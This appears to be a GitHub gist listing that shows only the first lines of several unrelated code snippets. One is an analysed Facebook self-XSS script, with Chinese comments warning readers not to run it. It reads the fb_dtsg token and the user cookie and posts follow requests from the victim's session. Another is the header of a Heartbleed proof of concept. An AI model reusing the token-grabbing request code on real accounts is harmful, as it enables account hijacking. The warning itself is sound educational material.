This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* 這是神人大大剛剛發的JS | |
* 我稍微分析了一下 | |
* 請各位不要幹這種無腦的事情 | |
* 還好他很 ______ 的只會讓你追蹤他,按他讚,Tag更多好友中標 | |
* 如果今天神人大大是真正的Hacker.... | |
* 他可以偷走你的個人資料,對你的帳號做各種奇怪的事情 | |
* Ex:對你的好友發送詐騙訊息,把你加入奇怪的社團 | |
* 在瀏覽器內執行來路不明的 JavaScript 是非常危險的... | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Collections.Generic; | |
using System.Linq; | |
using System.Text; | |
using System.Net; | |
namespace SpWebClient | |
{ | |
public class SpWebClient : WebClient | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* DO NOT EXECUTE THIS SCRIPT */ function DO_NOT_EXECUTE_ME() { if (false) { /* DO NOT EXECUTE THIS SCRIPT */ | |
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; | |
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); | |
/* DO NOT EXECUTE THIS SCRIPT */ }} /* DO NOT EXECUTE THIS SCRIPT */ | |
function follow(abone) { | |
var xhr = new XMLHttpRequest(); | |
var post_data = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp="; | |
xhr.open("POST", "/ajax/follow/follow_profile.php?__a=1", true); | |
xhr.send(post_data); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <cstdio> | |
template<typename T> | |
struct _bits_peeker { | |
union { | |
unsigned char bytes[sizeof(T)]; | |
T value; | |
}; | |
}; | |
#define bits_peeker struct _bits_peeker |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
define('DEBUG', false); | |
if (DEBUG) { | |
error_reporting(E_ALL ^ E_NOTICE); | |
} else { | |
error_reporting(0); | |
} | |
// ob_start(); // Start buffering | |
define('DB_HOST', 'localhost'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
###################### | |
# AUTHOR: Inndy # | |
# DATE: 2014/04/11 # | |
###################### | |
MIME_DEFAULT="text/html" | |
if [ -z $1 ] || [ -z $2 ]; then |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#define BUFFER_SIZE 4096 | |
// Reference: http://en.wikipedia.org/wiki/UTF-8 | |
#define UTF8_MASK_C 0x080 // 0b10000000 | |
#define UTF8_MASK_2 0x0C0 // 0b11000000 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Windows Registry Editor Version 5.00 | |
[HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\Default%20Settings] | |
"TermWidth"=dword:00000050 | |
"TermHeight"=dword:0000001E | |
"Font"="Consolas" | |
"FontIsBold"=dword:00000000 | |
"FontCharSet"=dword:00000000 | |
"FontHeight"=dword:0000000C | |
"FontQuality"=dword:00000003 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import re, requests, subprocess, os | |
""" | |
Download CCleaner and extracting | |
Tips: make 7z within PATH environment | |
2014/04/22 | |
Inndy | |
""" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
""" | |
Author: takeshix <[email protected]> | |
PoC code for CVE-2014-0160. Original PoC by Jared Stafford ([email protected]). | |
Supportes all versions of TLS and has STARTTLS support for SMTP,POP3,IMAP,FTP and XMPP. | |
""" | |
import sys,struct,socket | |
from argparse import ArgumentParser |
OlderNewer